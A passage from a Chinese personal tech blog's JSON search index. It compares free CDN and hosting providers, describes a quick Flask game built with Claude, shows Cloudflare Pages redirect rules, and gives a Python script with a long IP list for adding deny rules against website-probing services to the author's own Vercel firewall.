CDN 目前处于内测，需要兑换码。获取方式前往 腾讯云EdgeOne免费计划兑换码 - 立即体验 。无流量和请求数限制。\n支持高级回源设置\n全球可用区（不含中国大陆） 本人博客目前使用的CDN\n默认提供的CNAME延迟一般。下图是使用了本人的HK优选： eo.072103.xyz（注： EdgeOne Page不可用）\nEdgeOne CDN 中国大陆可用区 需要实名认证，需要域名备案\n默认CNAME可用\nCloudflare 无流量和请求数限制。无法被打死\n戳我查看优选域名\n下图使用本人的分流优选： fenliu.072103.xyz\nRender 注册简单，具有严格的用量限制\nGithub Page 需要使用Github Action发布。中国大陆大部分地区会间歇性阻断，不推荐使用\n","permalink":"https://blog.2x.nz/posts/static-web/","summary":"\u003ch1 id=\"netlify\"\u003e\u003ca href=\"https://www.netlify.com\"\u003eNetlify\u003c/a\u003e\u003c/h1\u003e\n\u003cp\u003e注册门槛高，需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松，仅有带宽和构建时间限制。 \u003cstrong\u003e我认为是免费计划里最快的CDN！并且限制很少！\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e需要注意，构建时间是每月限制。但是流量限制较为宽松\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/282ad19c-f971-4f92-9096-6e75308205c5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e因为节点禁Ping，所以这里用Tcping结果展示\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e推荐CNAME：\u003c/strong\u003e apex-loadbalancer.netlify.com\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/e11f4d07-4135-411e-943e-cf27690bc9c7.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"vercel\"\u003e\u003ca href=\"https://vercel.com\"\u003eVercel\u003c/a\u003e\u003c/h1\u003e\n\u003cp\u003e零成本用上。注册无门槛，延迟良好。用量限制较严格。仅支持IPv4回源。默认的 \u003ccode\u003e*.vercel.app\u003c/code\u003e 在国内会被SNI阻断，需要绑定自己的域名\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eVercel每天可以构建100次，每次构建时间不得超过45分钟\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003e推荐IP：\u003c/strong\u003e 76.76.21.21\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/14654577-5c25-4136-bb06-9e10d1945ae2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/eb1ef62c-f50c-4f89-a287-c74e18353b9c.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"edgeone-cdn\"\u003e\u003ca href=\"https://edgeone.ai\"\u003eEdgeOne CDN\u003c/a\u003e\u003c/h1\u003e\n\u003cp\u003e目前处于内测，需要兑换码。获取方式前往 \u003ca href=\"https://edgeone.ai/zh/redemption\"\u003e腾讯云EdgeOne免费计划兑换码 - 立即体验\u003c/a\u003e 。无流量和请求数限制。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/ed25c33f-5719-44b5-844e-62ac73eadfef.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e支持\u003cstrong\u003e高级回源设置\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/a1517d8e-1664-4819-ba08-d78ae13299a4.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"全球可用区不含中国大陆\"\u003e全球可用区（不含中国大陆）\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本人博客目前使用的CDN\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e默认提供的CNAME延迟一般。下图是使用了本人的HK优选： eo.072103.xyz（注： EdgeOne Page不可用）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/b2937ed2-0f8d-4179-a9b5-b465902ca9ab.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"edgeone-cdn-中国大陆可用区\"\u003eEdgeOne CDN 中国大陆可用区\u003c/h2\u003e\n\u003cp\u003e需要\u003cstrong\u003e实名认证\u003c/strong\u003e，需要\u003cstrong\u003e域名备案\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e默认CNAME可用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/c44674d3-d37e-4f00-a7ee-cdac7798b293.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"cloudflare\"\u003e\u003ca href=\"https://www.cloudflare.com/\"\u003eCloudflare\u003c/a\u003e\u003c/h1\u003e\n\u003cp\u003e无流量和请求数限制。\u003cstrong\u003e无法被打死\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/posts/record/#cloudflare-%E4%BC%98%E9%80%89%E5%9F%9F%E5%90%8D\"\u003e戳我查看优选域名\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下图使用本人的分流优选： fenliu.072103.xyz\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/f0785c5d-b31a-40d1-9da9-ac50a94f6b0a.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"render\"\u003e\u003ca href=\"https://render.com\"\u003eRender\u003c/a\u003e\u003c/h1\u003e\n\u003cp\u003e注册简单，具有严格的用量限制\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/0bccb1b9-3fe1-49f0-a255-0805fc0ee35c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/2b6104d5-9cee-4e2b-adb5-9aefe02240d2.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"github-page\"\u003e\u003ca href=\"https://pages.github.com/\"\u003eGithub Page\u003c/a\u003e\u003c/h1\u003e\n\u003cp\u003e需要使用Github Action发布。\u003cstrong\u003e中国大陆大部分地区会间歇性阻断\u003c/strong\u003e，不推荐使用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/static-web/img/efccadbf-bc70-4444-bb48-8399cf881617.webp\"\u003e\u003c/p\u003e","title":"N款CDN/静态托管服务商的优缺点比较"},{"content":"前情提要 本来大晚上被干醒了\n准备吃点东西睡回笼觉\n顺便在QQ群吹水\n然后被委托做一个神经小项目\n于是就\u0026hellip;\n开整！ 首先使用最熟悉的Python Flask框架！\n然后使用最简单的内存数据库！\n然后开始调教AI！\n这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储\n然后就写出来了！（并非，总共问了7次\n上线！ 现已可在 https://sixqi.afo.im/ 游玩！\n开源： GitHub - afoim/sixqi\n","permalink":"https://blog.2x.nz/posts/sixqi-py/","summary":"\u003ch1 id=\"前情提要\"\u003e前情提要\u003c/h1\u003e\n\u003cp\u003e本来大晚上被干醒了\u003c/p\u003e\n\u003cp\u003e准备吃点东西睡回笼觉\u003c/p\u003e\n\u003cp\u003e顺便在QQ群吹水\u003c/p\u003e\n\u003cp\u003e然后被委托做一个\u003cstrong\u003e神经小项目\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sixqi-py/img/29afe2b7-db53-4707-81ef-173befb84a06.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sixqi-py/img/f7b3b7b6-a462-4c1a-b8cf-665cc4df824c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sixqi-py/img/0d0b13c2-e2d5-4394-b7fd-48af6277869c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e于是就\u0026hellip;\u003c/p\u003e\n\u003ch1 id=\"开整\"\u003e开整！\u003c/h1\u003e\n\u003cp\u003e首先使用最熟悉的Python Flask框架！\u003c/p\u003e\n\u003cp\u003e然后使用最简单的内存数据库！\u003c/p\u003e\n\u003cp\u003e然后开始调教AI！\u003c/p\u003e\n\u003cp\u003e\u003cdel\u003e这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sixqi-py/img/1d62004f-ed07-4ced-be59-63bb4dd03b2d.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后就写出来了！（\u003cdel\u003e并非，总共问了7次\u003c/del\u003e\u003c/p\u003e\n\u003ch1 id=\"上线\"\u003e上线！\u003c/h1\u003e\n\u003cp\u003e现已可在 \u003ca href=\"https://sixqi.afo.im/\"\u003ehttps://sixqi.afo.im/\u003c/a\u003e 游玩！\u003c/p\u003e\n\u003cp\u003e开源： \u003ca href=\"https://github.com/afoim/sixqi\"\u003eGitHub - afoim/sixqi\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sixqi-py/img/1416208a-b44c-40b7-a1ba-743e8a28d3bc.webp\"\u003e\u003c/p\u003e","title":"我用Claude10分钟写了个六子棋...?"},{"content":"快速上手！ 直接 Fork我的 仓库 。\n接着将该仓库连接到Cloudflare部署Worker或Page，然后绑定你的域名\n接着更改 _redirects 内的文件\n例如：\n/ https://www.afo.im/ 301 /test/* https://test.test/test/:splat 302 则意味着\n访问 / 301 永久重定向到 https://www.afo.im/\n访问 /test/* 302 临时重定向到 https://test.test/test/*\n已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数！\n","permalink":"https://blog.2x.nz/posts/cfpage-redirect/","summary":"\u003ch1 id=\"快速上手\"\u003e快速上手！\u003c/h1\u003e\n\u003cp\u003e直接 Fork我的 \u003ca href=\"https://github.com/afoim/Redirect_Group\"\u003e仓库\u003c/a\u003e 。\u003c/p\u003e\n\u003cp\u003e接着将该仓库连接到Cloudflare部署Worker或Page，然后绑定你的域名\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfpage-redirect/img/0c99399a-5d25-4372-9f9b-79767c32d150.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接着更改 \u003ccode\u003e_redirects\u003c/code\u003e 内的文件\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfpage-redirect/img/f9476b1d-b047-441b-a742-58124032a91b.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e例如：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/ https://www.afo.im/ \u003cspan style=\"color:#ae81ff\"\u003e301\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/test/* https://test.test/test/:splat \u003cspan style=\"color:#ae81ff\"\u003e302\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e则意味着\u003c/p\u003e\n\u003cp\u003e访问 \u003ccode\u003e/\u003c/code\u003e 301 永久重定向到 \u003ccode\u003ehttps://www.afo.im/\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfpage-redirect/img/3f49855c-6835-423d-805c-4758f232d136.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e访问 \u003ccode\u003e/test/*\u003c/code\u003e 302 临时重定向到 \u003ccode\u003ehttps://test.test/test/*\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfpage-redirect/img/f018f75a-83ae-435e-9fce-d81d331f6d2f.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数！\u003c/p\u003e","title":"利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向！"},{"content":"配套视频 https://www.bilibili.com/video/BV1w7GTzMEy7\n获取ITDog等拨测服务的IP 因为Vercel不支持IPv6，所以我们只需要获取v4IP\n如果你有VPS，直接写一个Py脚本创建一个HTTP服务器记录IP去重即可\n如果你只有家里云，可以使用Cloudflare Tunnel，然后获取 CF-Connecting-IP 来曲线救国\n结论，你已经获得了你要屏蔽的拨测网站的IP\n创建Vercel API Token 前往 https://vercel.com/account/settings/tokens 创建一个Token\n抓取防火墙创建/更新接口 前往 https://vercel.com/your-projects/fuwari/firewall\n新增规则\n随便写点东西然后抓包\nPATCH https://vercel.com/api/v1/security/firewall/config/draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2\u0026amp;teamId=team_lemndzHQNJAcTipIF6elB5Md 将主机名 vercel.com 改为 api.vercel.com 。并携带请求头 Authorization ，值为刚才获取的Token\n复制刚才的响应并且稍作修改进行测试，看是否能更新成功\n可以看到已经200 OK\n使用Python脚本创建大批量IP拒绝规则 根据本人测试，Vercel虽然在创建规则的时候有一个 is any of 支持填入多个IP，但是单规则最多只能填写75个，所以我们需要一个Python脚本批量帮我们规划。脚本已经写好\n使用： python app.py ip.txt\n作用：自动获取指定TXT中的内容并将其中的所有IP添加到拒绝规则\n#!/usr/bin/env python3 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34; Vercel防火墙规则更新脚本 用法: python vercelnoitdog.py xxx.txt \u0026#34;\u0026#34;\u0026#34; import sys import json import requests import ipaddress from typing import List, Dict, Any # Vercel API配置 API_BASE_URL = \u0026#34;https://api.vercel.com/v1/security/firewall/config/draft\u0026#34; PROJECT_ID = \u0026#34;prj_UfvbpIvawjL2eAETAiZT7hPLR8W2\u0026#34; TEAM_ID = \u0026#34;team_lemndzHQNJAcTipIF6elB5Md\u0026#34; AUTH_TOKEN = \u0026#34;你的Token\u0026#34; RULE_ID = \u0026#34;rule_noitdog_eGxdcK\u0026#34; # 每组最大IP数量 MAX_IPS_PER_GROUP = 75 def validate_ip_or_cidr(ip_str: str) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34; 验证IP地址或CIDR格式是否有效 \u0026#34;\u0026#34;\u0026#34; try: # 尝试解析为IP地址或网络 ipaddress.ip_address(ip_str) return True except ValueError: try: # 尝试解析为CIDR网络 ipaddress.ip_network(ip_str, strict=False) return True except ValueError: return False def read_ips_from_file(file_path: str) -\u0026gt; List[str]: \u0026#34;\u0026#34;\u0026#34; 从文件中读取IP地址和CIDR网段 \u0026#34;\u0026#34;\u0026#34; ips = [] invalid_entries = [] try: with open(file_path, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: for line_num, line in enumerate(f, 1): ip = line.strip() if ip and not ip.startswith(\u0026#39;#\u0026#39;): # 忽略空行和注释 if validate_ip_or_cidr(ip): ips.append(ip) else: invalid_entries.append(f\u0026#34;第{line_num}行: {ip}\u0026#34;) print(f\u0026#34;从文件 {file_path} 读取到 {len(ips)} 个有效的IP地址/CIDR网段\u0026#34;) if invalid_entries: print(f\u0026#34;⚠️ 发现 {len(invalid_entries)} 个无效条目:\u0026#34;) for entry in invalid_entries[:5]: # 只显示前5个 print(f\u0026#34; {entry}\u0026#34;) if len(invalid_entries) \u0026gt; 5: print(f\u0026#34; ... 还有 {len(invalid_entries) - 5} 个无效条目\u0026#34;) return ips except FileNotFoundError: print(f\u0026#34;错误: 文件 {file_path} 不存在\u0026#34;) sys.exit(1) except Exception as e: print(f\u0026#34;读取文件时出错: {e}\u0026#34;) sys.exit(1) def chunk_ips(ips: List[str], chunk_size: int = MAX_IPS_PER_GROUP) -\u0026gt; List[List[str]]: \u0026#34;\u0026#34;\u0026#34; 将IP列表分组，每组最多包含指定数量的IP \u0026#34;\u0026#34;\u0026#34; chunks = [] for i in range(0, len(ips), chunk_size): chunks.append(ips[i:i + chunk_size]) return chunks def create_condition_groups(ip_chunks: List[List[str]]) -\u0026gt; List[Dict[str, Any]]: \u0026#34;\u0026#34;\u0026#34; 创建条件组，每个组包含一个IP列表 \u0026#34;\u0026#34;\u0026#34; condition_groups = [] for ip_chunk in ip_chunks: condition_group = { \u0026#34;conditions\u0026#34;: [ { \u0026#34;op\u0026#34;: \u0026#34;inc\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;ip_address\u0026#34;, \u0026#34;value\u0026#34;: ip_chunk } ] } condition_groups.append(condition_group) return condition_groups def create_request_payload(condition_groups: List[Dict[str, Any]]) -\u0026gt; Dict[str, Any]: \u0026#34;\u0026#34;\u0026#34; 创建请求负载 \u0026#34;\u0026#34;\u0026#34; payload = { \u0026#34;action\u0026#34;: \u0026#34;rules.update\u0026#34;, \u0026#34;id\u0026#34;: RULE_ID, \u0026#34;value\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;noitdog\u0026#34;, \u0026#34;active\u0026#34;: True, \u0026#34;description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;conditionGroup\u0026#34;: condition_groups, \u0026#34;action\u0026#34;: { \u0026#34;mitigate\u0026#34;: { \u0026#34;action\u0026#34;: \u0026#34;deny\u0026#34;, } } } } return payload def send_request(payload: Dict[str, Any]) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34; 发送PATCH请求到Vercel API \u0026#34;\u0026#34;\u0026#34; url = f\u0026#34;{API_BASE_URL}?projectId={PROJECT_ID}\u0026amp;teamId={TEAM_ID}\u0026#34; headers = { \u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {AUTH_TOKEN}\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34; } try: print(f\u0026#34;发送请求到: {url}\u0026#34;) print(f\u0026#34;请求数据: {json.dumps(payload, indent=2, ensure_ascii=False)}\u0026#34;) response = requests.patch(url, headers=headers, json=payload) print(f\u0026#34;响应状态码: {response.status_code}\u0026#34;) print(f\u0026#34;响应内容: {response.text}\u0026#34;) if response.status_code == 200: print(\u0026#34;✅ 请求成功\u0026#34;) return True else: print(f\u0026#34;❌ 请求失败: {response.status_code} - {response.text}\u0026#34;) return False except requests.exceptions.RequestException as e: print(f\u0026#34;❌ 网络请求错误: {e}\u0026#34;) return False except Exception as e: print(f\u0026#34;❌ 发送请求时出错: {e}\u0026#34;) return False def main(): \u0026#34;\u0026#34;\u0026#34; 主函数 \u0026#34;\u0026#34;\u0026#34; if len(sys.argv) != 2: print(\u0026#34;用法: python vercelnoitdog.py \u0026lt;ip_file.txt\u0026gt;\u0026#34;) print(\u0026#34;示例: python vercelnoitdog.py ips.txt\u0026#34;) sys.exit(1) ip_file = sys.argv[1] # 读取IP地址 ips = read_ips_from_file(ip_file) if not ips: print(\u0026#34;❌ 没有找到有效的IP地址或CIDR网段\u0026#34;) sys.exit(1) # 去重 unique_ips = list(set(ips)) print(f\u0026#34;去重后共有 {len(unique_ips)} 个唯一IP地址/CIDR网段\u0026#34;) # 分组 ip_chunks = chunk_ips(unique_ips) print(f\u0026#34;IP地址被分为 {len(ip_chunks)} 组\u0026#34;) for i, chunk in enumerate(ip_chunks, 1): print(f\u0026#34;第 {i} 组: {len(chunk)} 个IP/CIDR\u0026#34;) # 创建条件组 condition_groups = create_condition_groups(ip_chunks) # 创建请求负载 payload = create_request_payload(condition_groups) # 发送请求 success = send_request(payload) if success: print(\u0026#34;\\n🎉 防火墙规则更新成功!\u0026#34;) else: print(\u0026#34;\\n💥 防火墙规则更新失败!\u0026#34;) sys.exit(1) if __name__ == \u0026#34;__main__\u0026#34;: main() 示例ip.txt\n223.26.78.6 182.101.26.81 101.226.41.74 117.148.172.71 183.194.216.135 119.96.16.87 112.65.95.205 59.36.216.50 124.225.103.136 125.73.215.4 221.130.18.132 42.81.156.75 59.49.86.70 120.220.190.144 116.153.63.68 219.151.141.70 118.213.140.68 1.180.239.80 36.158.204.68 218.30.71.80 218.98.53.88 182.242.83.133 111.6.225.75 101.207.252.75 221.204.62.68 42.202.219.70 111.13.153.72 121.31.236.73 180.130.113.72 113.207.73.135 36.104.133.71 42.185.158.68 116.176.33.201 60.28.203.70 124.160.160.70 202.108.15.148 116.177.229.5 111.48.137.135 211.139.55.70 156.253.8.27 112.90.210.132 42.63.75.72 36.163.196.91 117.187.182.132 115.231.43.69 153.0.230.8 45.251.101.5 112.48.150.134 116.136.19.134 218.57.21.135 49.71.77.84 123.6.70.5 111.32.145.8 59.80.45.132 112.29.205.70 36.250.8.132 36.147.38.70 220.181.53.87 125.211.192.35 150.139.140.70 223.244.186.68 183.2.175.12 113.240.100.81 117.157.235.95 117.161.136.74 1.193.215.70 111.51.76.68 36.150.79.4 120.233.53.26 58.211.13.98 101.28.250.72 125.64.2.134 113.62.118.132 36.136.125.68 117.177.67.5 211.91.67.89 115.223.6.243 27.185.235.70 111.26.149.68 111.12.212.73 183.201.192.68 111.62.174.73 222.75.5.70 119.147.118.127 218.61.211.101 180.97.244.136 220.162.119.71 125.77.129.206 111.42.192.68 111.29.45.133 117.168.153.198 109.248.18.86 171.15.110.73 116.178.236.69 116.172.154.17 120.201.243.134 183.240.228.133 112.90.40.216 221.8.93.95 120.232.121.180 43.163.239.208 222.79.71.253 150.109.245.197 117.180.235.132 221.181.52.171 120.71.150.171 154.23.241.34 23.225.146.6 194.147.100.44 43.156.69.84 146.185.214.41 43.130.151.11 43.131.29.194 185.99.132.104 38.54.126.18 38.60.209.194 38.54.45.156 38.54.59.59 58.19.20.71 113.201.9.12 116.162.51.68 112.123.37.68 38.54.63.220 125.74.47.33 72.52.114.230 173.255.209.253 192.73.244.230 35.221.248.87 165.227.48.82 144.202.112.137 35.197.10.99 45.77.19.32 103.134.34.7 66.220.18.238 71.19.144.157 174.137.48.255 209.177.156.46 154.21.82.74 128.199.126.228 50.7.8.99 209.177.158.115 192.73.242.50 104.4.224.169 45.45.236.19 103.14.244.246 23.150.40.100 24.86.248.28 216.66.0.234 107.173.182.190 104.225.8.133 103.6.87.164 45.76.118.224 23.237.26.69 103.131.159.213 59.153.100.154 185.40.234.177 163.47.179.246 27.147.166.142 176.58.90.129 65.20.71.66 192.95.26.127 45.114.84.2 50.7.114.87 103.204.80.222 45.159.97.148 123.49.9.6 185.224.3.114 185.44.82.20 103.244.145.149 157.119.186.4 45.159.99.200 93.114.194.138 185.243.217.223 103.109.59.222 51.158.147.91 119.45.133.212 183.245.146.101 51.15.190.186 162.254.84.55 36.151.192.162 101.43.53.133 47.101.65.208 114.130.57.222 139.186.177.82 113.56.218.178 2.58.57.254 148.163.223.19 185.123.101.33 61.164.246.102 154.70.207.18 58.218.205.215 2.189.254.219 148.163.220.22 37.32.6.150 147.78.2.180 103.72.136.138 139.59.35.197 103.85.239.77 45.40.252.184 185.34.3.179 185.30.166.165 60.12.124.101 47.104.185.98 185.106.103.26 43.139.250.146 1.95.214.189 103.81.104.242 45.202.210.37 59.38.99.166 180.153.91.3 119.97.171.14 120.204.196.162 116.153.81.2 1.32.216.91 15.235.167.152 140.207.232.18 58.243.202.72 223.111.24.198 116.253.27.152 59.83.222.20 211.91.243.88 101.71.160.163 124.225.162.194 59.63.230.4 175.6.41.195 220.202.21.129 112.28.234.140 115.236.144.231 125.39.11.1 153.0.192.167 61.190.114.193 121.31.231.89 58.144.173.98 123.6.27.10 58.215.177.156 182.140.221.2 219.144.80.136 111.32.157.133 120.223.242.157 111.47.215.148 1.71.11.171 180.213.48.172 150.138.178.3 112.48.221.77 117.169.16.203 124.239.250.80 111.62.70.129 111.6.251.227 59.80.37.156 36.102.218.76 119.188.148.129 42.63.65.201 36.158.254.130 180.130.96.143 111.206.4.152 61.240.153.196 116.176.35.201 1.31.130.68 116.177.252.82 61.128.145.14 221.204.45.134 117.24.3.143 125.74.24.2 183.201.231.162 101.206.203.18 182.242.140.26 111.10.63.136 183.232.11.45 36.99.143.1 123.184.205.46 111.13.102.12 117.187.142.66 139.215.167.76 218.25.106.113 117.161.24.21 111.19.212.248 219.147.74.6 117.174.129.181 218.203.117.72 111.12.63.131 210.76.62.60 117.157.22.134 36.104.140.200 111.26.55.11 111.40.189.229 111.12.157.228 222.75.58.106 111.29.42.34 183.224.38.14 36.131.159.78 116.178.71.245 117.180.232.165 43.242.167.44 110.157.249.53 134.122.151.96 34.80.186.23 221.181.56.200 139.99.134.84 154.38.106.211 141.164.56.18 51.38.70.219 51.77.203.76 54.38.242.242 148.113.173.25 162.19.154.159 139.84.235.192 172.233.24.182 36.250.246.34 123.6.27.64 157.122.209.77 223.87.182.211 182.106.155.131 58.216.15.29 211.91.166.53 47.97.228.5 221.194.161.44 60.221.194.28 1.31.130.66 120.27.18.28 58.251.56.177 60.223.217.164 39.175.4.28 8.138.119.222 36.251.255.37 36.143.233.41 121.31.231.115 115.236.144.236 61.174.43.24 223.109.76.167 218.8.164.49 123.157.148.149 119.147.156.156 47.106.151.176 113.5.183.26 120.204.196.133 125.39.11.14 61.241.123.180 140.207.232.23 111.123.41.34 101.133.148.180 111.39.146.24 47.94.20.35 180.153.91.21 183.134.36.167 125.64.129.30 116.153.81.66 60.188.118.173 220.181.126.38 111.123.254.134 36.143.193.156 42.56.67.155 111.40.189.252 211.91.243.95 183.36.24.28 116.177.250.162 1.193.218.40 111.62.98.78 42.63.65.199 36.102.218.86 1.71.11.181 120.201.104.153 112.26.229.30 182.242.140.10 120.232.248.163 180.213.48.223 219.147.74.22 183.224.33.198 116.176.35.214 116.136.135.148 60.5.252.39 110.166.65.78 112.28.209.220 113.96.150.162 58.144.173.72 42.59.4.156 111.10.63.158 111.32.157.154 111.29.42.54 58.241.27.162 153.0.192.185 120.39.201.14 222.186.18.152 112.48.141.175 221.204.45.136 101.67.10.151 61.164.147.152 39.98.49.59 1.28.232.27 101.206.203.29 120.223.242.149 117.157.22.147 111.1.160.153 120.232.98.168 58.220.82.34 125.74.24.15 116.253.27.146 111.77.198.151 36.150.43.34 112.122.156.166 111.47.248.69 139.215.162.44 111.63.179.37 58.215.177.5 61.243.17.23 112.29.220.176 110.157.249.48 221.231.92.31 222.81.122.157 117.169.16.130 27.128.221.166 111.13.102.147 36.158.254.168 219.144.80.133 202.104.186.160 111.206.4.206 111.172.239.72 221.195.21.15 61.168.100.167 120.220.212.22 111.12.63.173 120.238.155.29 121.228.188.15 218.205.74.153 117.66.50.176 111.6.251.218 117.161.24.26 119.188.3.89 113.201.180.80 36.104.140.208 111.12.157.239 221.181.56.132 121.17.123.41 218.203.117.84 183.201.231.176 175.6.41.150 1.190.42.161 124.236.43.188 101.200.214.185 43.242.167.59 116.136.134.161 27.159.72.27 124.232.169.149 124.225.162.228 180.110.204.95 183.232.250.130 112.85.251.136 1.194.235.25 125.94.37.14 1.190.198.188 59.83.222.19 223.111.24.209 116.178.73.205 223.111.193.162 61.128.145.22 113.96.108.38 219.128.78.149 183.232.147.27 150.138.40.179 124.229.60.35 117.135.215.165 36.135.11.5 8.130.23.178 182.140.221.50 183.246.206.155 61.240.153.224 59.63.230.28 183.232.48.165 101.71.160.27 36.131.141.25 150.138.74.152 120.210.112.160 220.185.164.153 117.180.232.175 125.72.124.21 124.165.205.158 34.150.84.19 121.11.2.164 183.240.84.160 113.113.101.178 58.243.202.94 39.104.16.158 117.21.225.154 150.138.178.22 111.48.182.22 223.111.255.46 58.222.35.25 36.156.181.50 20.24.72.70 106.117.244.9 180.121.81.39 119.249.48.33 36.150.210.23 182.201.241.181 111.51.100.158 120.233.177.163 120.233.0.35 16.163.131.38 8.137.53.211 113.62.172.189 120.233.177.165 115.236.144.235 180.153.91.20 111.6.251.219 54.220.191.101 113.201.180.79 153.3.232.187 120.27.109.210 183.232.250.171 117.161.24.25 121.11.2.163 223.111.24.210 61.164.147.168 8.208.8.92 34.101.254.179 120.233.0.41 111.12.63.176 119.188.3.86 39.107.137.48 101.133.173.51 47.113.114.116 140.207.232.22 150.138.74.171 219.147.74.24 112.122.156.164 123.6.27.65 58.243.202.102 120.232.248.154 180.213.48.215 111.13.102.148 47.99.106.232 20.74.239.192 223.109.76.169 220.181.126.39 111.206.4.204 120.220.212.35 8.213.210.244 47.74.36.66 52.243.66.112 3.110.8.122 3.37.93.47 54.215.39.119 20.106.77.49 58.144.173.114 120.204.196.151 34.77.123.66 3.228.90.224 15.160.99.228 34.102.85.154 15.152.134.0 34.124.147.129 3.96.235.198 35.203.120.96 1.28.232.24 8.220.206.175 20.113.137.203 39.100.89.75 20.70.168.217 34.88.215.233 120.223.242.152 54.252.17.196 34.105.151.212 34.150.213.129 202.104.186.166 1.193.218.25 101.67.10.149 13.49.141.212 20.73.66.155 54.251.99.254 34.97.52.174 108.136.71.175 15.184.90.0 221.195.21.9 34.118.30.85 47.237.17.19 8.209.136.9 20.194.2.123 8.215.60.204 223.87.182.208 124.165.205.149 13.77.219.191 111.3.88.40 106.117.244.16 65.52.234.249 183.232.147.31 60.188.118.172 104.198.91.239 180.97.251.43 182.106.155.132 223.111.255.38 121.31.231.114 51.140.189.31 112.48.141.173 183.201.231.177 175.6.41.185 121.228.188.17 40.89.179.182 1.31.130.65 124.236.43.190 112.29.220.166 34.138.235.109 150.138.40.178 112.85.251.138 183.246.206.151 220.185.164.177 36.135.11.6 1.190.198.186 104.42.170.197 40.77.126.226 116.178.71.248 51.137.188.42 116.153.81.65 36.150.43.21 125.72.124.30 150.138.178.23 47.108.210.10 47.252.40.117 222.81.122.173 18.169.141.195 182.140.221.49 113.96.150.157 47.91.106.49 8.211.36.84 211.91.166.33 182.242.140.13 125.39.11.22 52.229.73.86 211.91.243.96 36.131.141.36 116.177.250.149 117.180.232.172 